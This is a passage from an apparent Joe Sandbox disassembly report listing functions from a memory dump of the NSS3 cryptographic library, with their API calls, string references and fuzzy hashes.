Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$npl
API String ID: 1003633598-3153339023
Opcode ID: 675e2e7c4ac2125506d539d8dcead80bc91c72cb042211b92ce39e26a2c6a8ad
Instruction ID: 3f5778990f8a84738ce26bbad57529d58b688fa1b13f48b692801c9747b5c593
Opcode Fuzzy Hash: 675e2e7c4ac2125506d539d8dcead80bc91c72cb042211b92ce39e26a2c6a8ad
Instruction Fuzzy Hash: 13310471A01144AFDB109F54DE4CE8B7BB1EB4636DF884035E808A7B11DF349948CFA6

Function 6C6828C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C685B40: PR_GetIdentitiesLayer.NSS3 ref: 6C685B56

TlsGetValue.KERNEL32 ref: 6C68290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C68291E
TlsGetValue.KERNEL32 ref: 6C682937
EnterCriticalSection.KERNEL32(00000001), ref: 6C68294B
PR_EnterMonitor.NSS3(?), ref: 6C682966
PR_EnterMonitor.NSS3(?), ref: 6C6829AC
PR_ExitMonitor.NSS3(?), ref: 6C6829D1
PR_EnterMonitor.NSS3(?), ref: 6C6829F0
PR_EnterMonitor.NSS3(?), ref: 6C682A15
PR_EnterMonitor.NSS3(?), ref: 6C682A37
PR_ExitMonitor.NSS3(?), ref: 6C682A61
PR_ExitMonitor.NSS3(?), ref: 6C682A78
PR_ExitMonitor.NSS3(?), ref: 6C682A8F
PR_ExitMonitor.NSS3(?), ref: 6C682AA6

Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B945B
Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B9479
Part of subcall function 6C6B9440: EnterCriticalSection.KERNEL32 ref: 6C6B9495
Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B94E4
Part of subcall function 6C6B9440: TlsGetValue.KERNEL32 ref: 6C6B9532
Part of subcall function 6C6B9440: LeaveCriticalSection.KERNEL32 ref: 6C6B955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C682AF9
free.MOZGLUE(?), ref: 6C682B16
PR_Unlock.NSS3(?), ref: 6C682B6D
PR_Unlock.NSS3(?), ref: 6C682B80

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: f211146246ab7e7b1f7ec4170231f546bca980064dbb9ef97041506f94da1126
Instruction ID: ae6630be671e54617382c80f95bd1a5f2aa7b7399b1c6b333d597be1abce8401
Opcode Fuzzy Hash: f211146246ab7e7b1f7ec4170231f546bca980064dbb9ef97041506f94da1126
Instruction Fuzzy Hash: DC81C2B1A017015BEB209F35EC45AD7B7F5AF1630CF044939D85AC2B11EB36E518CBA9

Function 6C709C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C709C70
PR_NewLock.NSS3 ref: 6C709C85

Part of subcall function 6C6B98D0: calloc.MOZGLUE(00000001,00000084,6C5E0936,00000001,?,6C5E102C), ref: 6C6B98E5

PR_NewCondVar.NSS3(00000000), ref: 6C709C96

Part of subcall function 6C5DBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5E21BC), ref: 6C5DBB8C

PR_NewLock.NSS3 ref: 6C709CA9

Part of subcall function 6C6B98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6B9946
Part of subcall function 6C6B98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5716B7,00000000), ref: 6C6B994E
Part of subcall function 6C6B98D0: free.MOZGLUE(00000000), ref: 6C6B995E

PR_NewLock.NSS3 ref: 6C709CB9
PR_NewLock.NSS3 ref: 6C709CC9
PR_NewCondVar.NSS3(00000000), ref: 6C709CDA

Part of subcall function 6C5DBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5DBBEB
Part of subcall function 6C5DBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C5DBBFB
Part of subcall function 6C5DBB80: GetLastError.KERNEL32 ref: 6C5DBC03
Part of subcall function 6C5DBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C5DBC19
Part of subcall function 6C5DBB80: free.MOZGLUE(00000000), ref: 6C5DBC22

PR_NewCondVar.NSS3(?), ref: 6C709CF0
PR_NewPollableEvent.NSS3 ref: 6C709D03

Part of subcall function 6C6FF3B0: PR_CallOnce.NSS3(6C7514B0,6C6FF510), ref: 6C6FF3E6
Part of subcall function 6C6FF3B0: PR_CreateIOLayerStub.NSS3(6C75006C), ref: 6C6FF402
Part of subcall function 6C6FF3B0: PR_Malloc.NSS3(00000004), ref: 6C6FF416
Part of subcall function 6C6FF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C6FF42D
Part of subcall function 6C6FF3B0: PR_SetSocketOption.NSS3(?), ref: 6C6FF455
Part of subcall function 6C6FF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C6FF473

Part of subcall function 6C6B9890: TlsGetValue.KERNEL32(?,?,?,6C6B97EB), ref: 6C6B989E

EnterCriticalSection.KERNEL32(?), ref: 6C709D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C709DAF
_PR_CreateThread.NSS3(00000000,6C709EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C709D9F

Part of subcall function 6C5DB3C0: TlsGetValue.KERNEL32 ref: 6C5DB403
Part of subcall function 6C5DB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C5DB459

_PR_CreateThread.NSS3(00000000,6C70A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C709DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C709DFC
_PR_CreateThread.NSS3(00000000,6C70A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C709E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C709E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C709E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C709E89

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 63173bf855e8070ae80b86617502914ce7596ee0eebd1d3268d7e06de4da953e
Instruction ID: 97a1b950c506c51b92f2e85858519191a2f510aac8d2fe4ecfcd7c6a59af258a
Opcode Fuzzy Hash: 63173bf855e8070ae80b86617502914ce7596ee0eebd1d3268d7e06de4da953e
Instruction Fuzzy Hash: 716139B1A00706AFD710DF75C944AA7BBF8FF49208B14453AE85AC7B11EB30E814CBA5

Function 6C603FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C604014

Part of subcall function 6C6039F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C605E6F,?), ref: 6C603A08
Part of subcall function 6C6039F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C605E6F), ref: 6C603A1C
Part of subcall function 6C6039F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C603A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C604038

Part of subcall function 6C650FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5F87ED,00000800,6C5EEF74,00000000), ref: 6C651000
Part of subcall function 6C650FF0: PR_NewLock.NSS3(?,00000800,6C5EEF74,00000000), ref: 6C651016
Part of subcall function 6C650FF0: PL_InitArenaPool.NSS3(00000000,security,6C5F87ED,00000008,?,00000800,6C5EEF74,00000000), ref: 6C65102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C60404D

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C71A0F4), ref: 6C6040C2

Part of subcall function 6C64F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C64F0C8
Part of subcall function 6C64F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C60409A

Part of subcall function 6C64BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5FE708,00000000,00000000,00000004,00000000), ref: 6C64BE6A
Part of subcall function 6C64BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6004DC,?), ref: 6C64BE7E
Part of subcall function 6C64BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C64BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6040DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6040F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C604108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C60411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C604137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C604150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C71A1C8), ref: 6C60417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C604194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6041A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6041B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6041D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6041FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C71A1A8), ref: 6C60422D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 6a73877f3041d20a368379cfd0e417757c847cddeb5120b8b64d0cd590e78436
Instruction ID: 0bb611d18263d2f3ae0e514156dafca969f8dfa78be31a747771109f3b14d246
Opcode Fuzzy Hash: 6a73877f3041d20a368379cfd0e417757c847cddeb5120b8b64d0cd590e78436
Instruction Fuzzy Hash: 845107B1B043006BF7249A259E41B77769C9F6134CF444528ED5AE2F83FB71D51882AE

Function 6C648E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C648E01,00000000,6C649060,6C750B64), ref: 6C648E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C648E01,00000000,6C649060,6C750B64), ref: 6C648E9E
PORT_ArenaAlloc_Util.NSS3(6C750B64,00000001,?,?,?,?,6C648E01,00000000,6C649060,6C750B64), ref: 6C648EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C648E01,00000000,6C649060,6C750B64), ref: 6C648EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C648E01,00000000,6C649060,6C750B64), ref: 6C648ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C648E01,00000000,6C649060,6C750B64), ref: 6C648EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C648E01), ref: 6C648EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C750B64,6C750B64), ref: 6C648F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C648F3F

Part of subcall function 6C64A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C64A421,00000000,00000000,6C649826), ref: 6C64A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C648E76

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 3804756a5ee3027b05f8a84ea9847ad8282efdc1fcf10f02b3a1eac8e3a33f6b
Instruction ID: c4686e2ce7fcb97e41227f1da896d1b3971046896e700fd237313f51b6896670
Opcode Fuzzy Hash: 3804756a5ee3027b05f8a84ea9847ad8282efdc1fcf10f02b3a1eac8e3a33f6b
Instruction Fuzzy Hash: 4961A0B5E002099BDB10CF65CD84AABB7B9EF89359F14C528DC18A7710E732E915CBE4

Function 6C5F8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C5F8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5F8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7218D0,?), ref: 6C5F8F03
PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C5F8F19
PL_FreeArenaPool.NSS3(?), ref: 6C5F8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5F8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5F8F65
PL_FinishArenaPool.NSS3(?), ref: 6C5F8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C5F8FFE
PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C5F9012
PL_FreeArenaPool.NSS3(?), ref: 6C5F9024
PL_FinishArenaPool.NSS3(?), ref: 6C5F902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C5F903E

Strings

security, xrefs: 6C5F8EE7

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 494b683b7691894ed9843c9f3735dcec25ef796c6f1addf393a9c1ee8fc12045
Instruction ID: 173f4aca4c2cba676e9af906d8ec5ab511840be79d02330a5a91454a71754d9b
Opcode Fuzzy Hash: 494b683b7691894ed9843c9f3735dcec25ef796c6f1addf393a9c1ee8fc12045
Instruction Fuzzy Hash: 3E5147B1508200AFE7149E16DC41FAB73E8AF8775CF94082AF96597B40E731D90ACB67

Function 6C6BCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6BCC7B), ref: 6C6BCD7A

Part of subcall function 6C6BCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C62C1A8,?), ref: 6C6BCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6BCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6BCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C6BCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6BCD8E

Part of subcall function 6C5E05C0: PR_EnterMonitor.NSS3 ref: 6C5E05D1
Part of subcall function 6C5E05C0: PR_ExitMonitor.NSS3 ref: 6C5E05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C6BCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6BCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6BCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6BCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C6BCE48

Strings

getaddrinfo, xrefs: 6C6BCD88, 6C6BCDF9
ws2_32.dll, xrefs: 6C6BCD75
getnameinfo, xrefs: 6C6BCDB2, 6C6BCE23
freeaddrinfo, xrefs: 6C6BCD9F, 6C6BCE10
wship6.dll, xrefs: 6C6BCDE3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 3d8b948cef869b528e98ca4d8a4e54b58ccfc86fb1daf8cd92b283cf9fe7a3a6
Instruction ID: 429c99ffc882123e4137e8c3a44493d6282a34dc372dc5555453c830e98d5a2f
Opcode Fuzzy Hash: 3d8b948cef869b528e98ca4d8a4e54b58ccfc86fb1daf8cd92b283cf9fe7a3a6
Instruction Fuzzy Hash: 96110DB5E03111A7E7006B712C4059B3998DB8210DF54453AE80BE1F41FF35DB19C7E6

Function 6C701C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7013BC,?,?,?,6C701193), ref: 6C701C6B
PR_NewLock.NSS3(?,6C701193), ref: 6C701C7E

Part of subcall function 6C6B98D0: calloc.MOZGLUE(00000001,00000084,6C5E0936,00000001,?,6C5E102C), ref: 6C6B98E5

PR_NewCondVar.NSS3(00000000,?,6C701193), ref: 6C701C91

Part of subcall function 6C5DBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5E21BC), ref: 6C5DBB8C

PR_NewCondVar.NSS3(00000000,?,?,6C701193), ref: 6C701CA7

Part of subcall function 6C5DBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5DBBEB
Part of subcall function 6C5DBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C5DBBFB
Part of subcall function 6C5DBB80: GetLastError.KERNEL32 ref: 6C5DBC03
Part of subcall function 6C5DBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C5DBC19
Part of subcall function 6C5DBB80: free.MOZGLUE(00000000), ref: 6C5DBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C701193), ref: 6C701CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C701193), ref: 6C701CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C701193), ref: 6C701CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C701193), ref: 6C701D1A

Part of subcall function 6C6B9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C5E1A48), ref: 6C6B9BB3
Part of subcall function 6C6B9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5E1A48), ref: 6C6B9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C701193), ref: 6C701D3D

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C701193), ref: 6C701D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C701193), ref: 6C701D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C701193), ref: 6C701D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C701193), ref: 6C701D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C701193), ref: 6C701D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C701193), ref: 6C701D93
PR_DestroyLock.NSS3(00000000,?,?,6C701193), ref: 6C701D9F
free.MOZGLUE(00000000,?,6C701193), ref: 6C701DA8

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 83ca6e7efeebce056f2070136e4fa29cb0a40ed0954de198fe42802fac0cb990
Instruction ID: 73b8fe761bcf0617adbec979e0e50b80be63c8d8025114229c0d8d335c030c2c
Opcode Fuzzy Hash: 83ca6e7efeebce056f2070136e4fa29cb0a40ed0954de198fe42802fac0cb990
Instruction Fuzzy Hash: E531FAF5F007019BEB109F24AD41A5776F4AF4660DF044839E84A87B41FB71E818CBA6

Function 6C615E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C615ECF
EnterCriticalSection.KERNEL32(?), ref: 6C615EE3
PR_Unlock.NSS3(?), ref: 6C615F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C615FB5

Strings

S&cl, xrefs: 6C6162E3
S&cl, xrefs: 6C615E6C, 6C61627F, 6C615F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6161F4

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&cl$S&cl
API String ID: 2280678669-1899265815
Opcode ID: 0d08dbf21a4fc92cb36e39cd76fd85761c8a4261c5e2a143b3af2140f76e5e4a
Instruction ID: a0f8033e8f73e74f25475c7c511d3add643312fbc623df8727d21a4849d09759
Opcode Fuzzy Hash: 0d08dbf21a4fc92cb36e39cd76fd85761c8a4261c5e2a143b3af2140f76e5e4a
Instruction Fuzzy Hash: 22F105B4A042158FDB44CF29C884B86BBF4FF09315F1582AADC089B746E774EA84CF95

Function 6C660C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,fl), ref: 6C660C81

